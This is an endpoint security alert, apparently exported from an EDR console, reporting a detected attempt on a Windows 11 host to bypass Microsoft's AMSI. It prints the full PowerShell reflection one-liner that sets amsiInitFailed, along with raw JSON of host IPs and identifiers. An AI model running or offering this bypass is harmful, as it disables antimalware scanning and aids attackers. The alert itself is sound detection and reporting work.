Alert Information High
Alert ID
ind:47186ef241ea495885522e5d4930eda3:35325307788-10163-11229968
Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:47186ef241ea495885522e5d4930eda3:35325307788-10163-11229968
설명
A PowerShell script attempted to bypass Microsoft's AntiMalware Scan Interface (AMSI). PowerShell exploit kits often attempt to bypass AMSI to evade detection. Review the script.
호스트
TEAHEE
상태
new
생성 시간
2025-12-22 07:59:41
업데이트 시간
2025-12-22 08:58:41
MITRE ATT&CK
Tactic
Execution
Technique
PowerShell
Command Line
powershell  -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"
Raw JSON Data
{"id":"ind:47186ef241ea495885522e5d4930eda3:35325307788-10163-11229968","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:47186ef241ea495885522e5d4930eda3:35325307788-10163-11229968","agent_id":"47186ef241ea495885522e5d4930eda3","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"A PowerShell script attempted to bypass Microsoft\u0027s AntiMalware Scan Interface (AMSI). PowerShell exploit kits often attempt to bypass AMSI to evade detection. Review the script.","severity":70,"severity_name":"High","confidence":80,"tactic":"Execution","tactic_id":"TA0002","technique":"PowerShell","technique_id":"T1059.001","cmdline":"powershell  -c \u0022[Ref].Assembly.GetType(\u0027System.Management.Automation.AmsiUtils\u0027).GetField(\u0027amsiInitFailed\u0027,\u0027NonPublic,Static\u0027).SetValue($null,$true)\u0022","filename":"powershell.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","sha256":"0ff6f2c94bc7e2833a5f7e16de1622e5dba70396f31c7d5f56381870317e8c46","status":"new","type":"ldt","created_timestamp":"2025-12-21T22:59:41.36210171Z","updated_timestamp":"2025-12-21T23:58:41.33657132Z","device":{"device_id":"47186ef241ea495885522e5d4930eda3","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.20309.0","hostname":"TEAHEE","local_ip":"172.27.1.29","external_ip":"119.206.248.238","mac_address":"e8-84-a5-3f-53-7c","platform_name":"Windows","os_version":"Windows 11"},"aggregate_id":"aggind:47186ef241ea495885522e5d4930eda3:9248859301","CreatedAt":"2025-12-22T07:59:41.3621017+09:00","UpdatedAt":"2025-12-22T08:58:41.3365713+09:00"}
Quick Info
  • Severity High
  • Score 70
  • Agent ID 47186ef241ea495885522e5d4930eda3